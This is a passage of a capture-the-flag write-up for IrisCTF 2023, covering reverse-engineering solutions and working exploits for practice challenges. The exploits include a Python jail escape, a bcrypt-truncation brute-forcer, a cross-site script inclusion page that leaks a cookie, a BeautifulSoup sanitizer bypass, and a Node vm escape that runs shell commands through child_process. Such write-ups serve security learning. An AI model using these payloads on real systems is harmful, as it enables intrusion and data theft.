res = eval(res, {}, {})
print(res(vars(), vars))
This pyjail recursively clears co_names
and modifies co_consts
, then returns a function res
, which is called with res(vars(), vars)
.
So we want it to be in the form lambda x, y: ...
, since parameters are in co_varnames
and are unaffected, and function local variables (a:=1
etc) are also in co_varnames
.
First, x
is a dict containing __builtins__
, so you can access it using [*x][idx]
, but since integers are replaced with 0, you need to use not[]
to construct it. After obtaining the builtins
module, use y(__builtins__)
to convert it to a dict, then use the same method to get breakpoint
and call it directly.
def gen(n):
s = '+'.join(['(not[])'] * n)
return '(' + s + ')'
go = f"""
lambda x,y:[x:=y(x[[*x][{gen(6)}]]),x[[*x][{gen(12)}]]][{gen(1)}]()
"""
print(go)
# lambda x,y:[x:=y(x[[*x][((not[])+(not[])+(not[])+(not[])+(not[])+(not[]))]]),x[[*x][((not[])+(not[])+(not[])+(not[])+(not[])+(not[])+(not[])+(not[])+(not[])+(not[])+(not[])+(not[]))]]][((not[]))]()
# irisctf{i_made_this_challenge_so_long_ago_i_hope_there_arent_10000_with_this_idea_i_missed}
Additionally, there are interesting ways to construct numbers, such as -~-~-~-~-~-~-~-~-~-~-~(not[])
, since Python's ~x
is just -x-1
, as two's complement must satisfy x+(~x)=-1
.
Reverse Engineering
baby_rev
Throw it into IDA and use z3:
from z3 import *
s = [Int(f"s_{i}") for i in range(32)]
s0 = s[:]
s[0] -= 105
s[1] = s[1] - 114 + 1
s[2] = s[2] - 105 + 2
s[3] = s[3] - 115 + 3
s[4] = s[4] - 99 + 4
s[5] = s[5] - 116 + 5
s[6] = s[6] - 102 + 6
s[7] = s[7] - 123 + 7
s[8] = s[8] - 109 + 8
s[9] = s[9] - 105 + 9
s[10] = s[10] - 99 + 10
s[11] = s[11] - 114 + 11
s[12] = s[12] - 111 + 12
s[13] = s[13] - 115 + 13
s[14] = s[14] - 111 + 14
s[15] = s[15] - 102 + 15
s[16] = s[16] - 116 + 16
s[17] = s[17] - 95 + 17
s[18] = s[18] - 119 + 18
s[19] = s[19] - 111 + 19
s[20] = s[20] - 114 + 20
s[21] = s[21] - 100 + 21
s[22] = s[22] - 95 + 22
s[23] = s[23] - 97 + 23
s[24] = s[24] - 116 + 24
s[25] = s[25] - 95 + 25
s[26] = s[26] - 104 + 26
s[27] = s[27] - 111 + 27
s[28] = s[28] - 109 + 28
s[29] = s[29] - 101 + 29
s[30] = s[30] - 58 + 30
s[31] = s[31] - 125 + 31
sol = Solver()
for i in range(32):
sol.add(s[i] == i)
assert sol.check() == sat
m = sol.model()
print("".join([chr(m[s0[i]].as_long()) for i in range(32)]))
# irisctf{microsoft_word_at_home:}
Although z3 is overkill for this problem, it's just easier to be lazy with z3 XD.
Meaning of Python 1
A Python flag checker that appears to perform some strange operations on the input, then zlib.compress
it and perform other operations, finally comparing it with a constant byte string. However, upon closer inspection, it doesn't actually modify the original string, as it is immutable, so just zlib.decompress
the final result to solve it.
Meaning of Python 2
An obfuscated Python script. Simple reverse engineering reveals that it does exec(zlib.decompress(something))
, so decompress that script and format it. It's another obfuscated Python script, but it behaves similarly to the previous problem, so it likely doesn't modify the input either. Just zlib.decompress
the final result to solve it.
Scoreboard Website Easter Egg
The scoreboard page contains /static/theme_min.js
with obfuscated JavaScript. By setting breakpoints and debugging, you can see it stores state information in localStorage, and the input method is determined by the category tab you click. After 17 inputs, it performs some checks, and you can derive an AES key to decrypt.
The solution is simple: get the category names and brute-force them one by one:
M = 1 << 64
target = [
0x2B47,
0x2EC76,
0x31E0F8,
0x34FFD37,
0x384FEAC4,
0x3BD4EA3C3,
0x3F9238ECB2,
0x438B5C7E540,
0x47C412466529,
0x4C40536ACD1D6,
0x510458A17A1B46,
0x56149E2B91BFCC8,
0x5B75E80E4ADBE365,
0x12D468F2F89A4375,
0x401AF822823E94E2,
0x41CA7A4AA6280CC2,
0x5E721EF508A904F2,
0x45940E4593396E2F,
0x9ED4F29EC6D07ADF,
0x8C241C8B33D8358E,
]
categories = [
"Binary Exploitation",
"Cryptography",
"Forensics",
"Miscellaneous",
"Networks",
"Radio Frequency",
"Reverse Engineering",
"Web Exploitation",
"Welcome",
]
b = 0x17
def cat2val(cat):
u = ord(cat[1]) * ord(cat[6]) - ord(cat[3])
v = cat[1] + cat[6] + cat[3]
return u, v
key = ""
i = 0
while i < len(target):
for cat in categories:
u, v = cat2val(cat)
if (b * 0x11 + u) % M == target[i]:
print(u, v)
b = (b * 0x11 + u) % M
i += 1
key += v
print(key)
break
# then enter the key to debugger to get svg
# irisctf{ponies_who_eat_rainbows_and_poop_butterflies}
According to the author, you can also manually click to get the flag:
go to homepage
go to network challenge (https://2023.irisc.tf/challenges?category=Networks)
click on these in order:
binexp
forens
binexp
radio
binexp
binexp
crypto
misc
radio
web
forens
radio
netw
radio
netw
web
radio
netw
binexp
Web Exploitation
babystrechy
<?php
$password = exec("openssl rand -hex 64");
$stretched_password = "";
for($a = 0; $a < strlen($password); $a++) {
for($b = 0; $b < 64; $b++)
$stretched_password .= $password[$a];
}
echo "Fear my 4096 byte password!\n> ";
$h = password_hash($stretched_password, PASSWORD_DEFAULT);
while (FALSE !== ($line = fgets(STDIN))) {
if(password_verify(trim($line), $h)) die(file_get_contents("flag"));
echo "> ";
}
die("No!");
?>
The key to this problem is that PASSWORD_DEFAULT
is bcrypt, which only takes the first 72 characters, so just brute-force it:
from pwn import *
import string
from subprocess import check_output
def solve_pow(io):
io.recvuntil(b'with:\n ')
cmd = io.recvlineS().strip()
print(cmd)
if input('Ok? ').lower().strip() != 'y':
exit()
out = check_output(cmd, shell=True).strip()
print(out)
io.sendlineafter(b'Solution? ', out)
# io = process(["php", "chal.php"])
io = remote("stretchy.chal.irisc.tf", 10704)
solve_pow(io)
io.recvuntil(b"> ")
for a in string.hexdigits:
for b in string.hexdigits:
pwd = a * 64 + b * 8
io.sendline(pwd.encode())
io.interactive()
# irisctf{truncation_silent_and_deadly}
babycsrf
from flask import Flask, request
app = Flask(__name__)
with open("home.html") as home:
HOME_PAGE = home.read()
@app.route("/")
def home():
return HOME_PAGE
@app.route("/api")
def page():
secret = request.cookies.get("secret", "EXAMPLEFLAG")
return f"setMessage('irisctf{{{secret}}}');"
app.run(port=12345)
Simply create a page that defines setMessage
and includes the /api
script:
<script>
setMessage = flag => {
new Image().src = '/flag?flag=' + encodeURIComponent(flag)
}
</script>
<script src="https://babycsrf-web.chal.irisc.tf/api"></script>
irisctf{jsonp_is_never_the_answer}
This should be called XSSI (Cross-Site Script Inclusion) instead of CSRF...
Feeling Tagged
from flask import Flask, request, redirect
from bs4 import BeautifulSoup
import secrets
import base64
app = Flask(__name__)
SAFE_TAGS = ['i', 'b', 'p', 'br']
with open("home.html") as home:
HOME_PAGE = home.read()
@app.route("/")
def home():
return HOME_PAGE
@app.route("/add", methods=['POST'])
def add():
contents = request.form.get('contents', "").encode()
return redirect("/page?contents=" + base64.urlsafe_b64encode(contents).decode())
@app.route("/page")
def page():
contents = base64.urlsafe_b64decode(request.args.get('contents', '')).decode()
tree = BeautifulSoup(contents)
for element in tree.find_all():
if element.name not in SAFE_TAGS or len(element.attrs) > 0:
return "This HTML looks sus."
return f"<!DOCTYPE html><html><body>{str(tree)}</body></html>"
The goal is to bypass an HTML sanitizer based on BeautifulSoup
. The issue with such sanitizers is that browser behavior (Chromium, Firefox) when parsing HTML is generally different from server-side libraries, leading to different behaviors.
Here, BeautifulSoup
uses html.parser
as the underlying parser. I tried various HTML tricks and found that it considers CDATA, but in HTML5, CDATA only works in specific contexts, allowing bypass:
<![CDATA[><script>alert(1)</script>]]>
BeautifulSoup
treats it as a complete CDATA tag, but Chromium treats <![CDATA[>
as a comment, allowing the script to execute.
irisctf{security_by_option}
Author's writeup uses the fact that <!-->
is a closed comment in HTML5 to bypass.
metacalc
const { Sheet } = require('metacalc');
const readline = require('readline');
const rl = readline.createInterface({ input: process.stdin, output: process.stdout });
const sheet = new Sheet();
rl.question('I will add 1 to your input?? ', input => {
sheet.cells["A1"] = 1;
sheet.cells["A2"] = input;
sheet.cells["A3"] = "=A1+A2";
console.log(sheet.values["A3"]);
process.exit(0);
});
This uses metacalc
version 0.0.2
, and it has a previous patch:
--- sheet.o.js 2022-08-11 17:32:27.803553441 -0700
+++ sheet.js 2022-08-11 17:38:51.821472938 -0700
@@ -7,13 +7,16 @@
new Proxy(target, {
get: (target, prop) => {
if (prop === 'constructor') return null;
+ if (prop === '__proto__') return null;
const value = target[prop];
if (typeof value === 'number') return value;
return wrap(value);
},
});
-const math = wrap(Math);
+// Math has too much of an attack surface :(
+const SlightlyLessUsefulMath = new Object();
+const math = wrap(SlightlyLessUsefulMath);
const getValue = (target, prop) => {
if (prop === 'Math') return math;
So node_modules/metacalc/lib/sheet.js
becomes:
'use strict';
const metavm = require('metavm');
const wrap = (target) =>
new Proxy(target, {
get: (target, prop) => {
if (prop === 'constructor') return null;
if (prop === '__proto__') return null;
const value = target[prop];
if (typeof value === 'number') return value;
return wrap(value);
},
});
// Math has too much of an attack surface :(
const SlightlyLessUsefulMath = new Object();
const math = wrap(SlightlyLessUsefulMath);
const getValue = (target, prop) => {
if (prop === 'Math') return math;
const { expressions, data } = target;
if (!expressions.has(prop)) return data.get(prop);
const expression = expressions.get(prop);
return expression();
};
const getCell = (target, prop) => {
const { expressions, data } = target;
const collection = expressions.has(prop) ? expressions : data;
return collection.get(prop);
};
const setCell = (target, prop, value) => {
if (typeof value === 'string' && value[0] === '=') {
const src = '() => ' + value.substring(1);
const options = { context: target.context };
const script = metavm.createScript(prop, src, options);
target.expressions.set(prop, script.exports);
} else {
target.data.set(prop, value);
}
return true;
};
class Sheet {
constructor() {
this.data = new Map();
this.expressions = new Map();
this.values = new Proxy(this, { get: getValue });
this.context = metavm.createContext(this.values);
this.cells = new Proxy(this, { get: getCell, set: setCell });
}
}
module.exports = { Sheet };
It looks like a node.js jail. The key is to find a way to access objects outside the vm, likely related to Math
. Although you can't directly use Math.__proto__
to access the outer Object.prototype
, you can use Object.getPrototypeOf
to bypass this. The complete payload is:
=({}).constructor.getPrototypeOf(Math).constructor.constructor("return process")().mainModule.require("child_process").execSync("cat /flag").toString()
irisctf{be_careful_of_implicit_calls}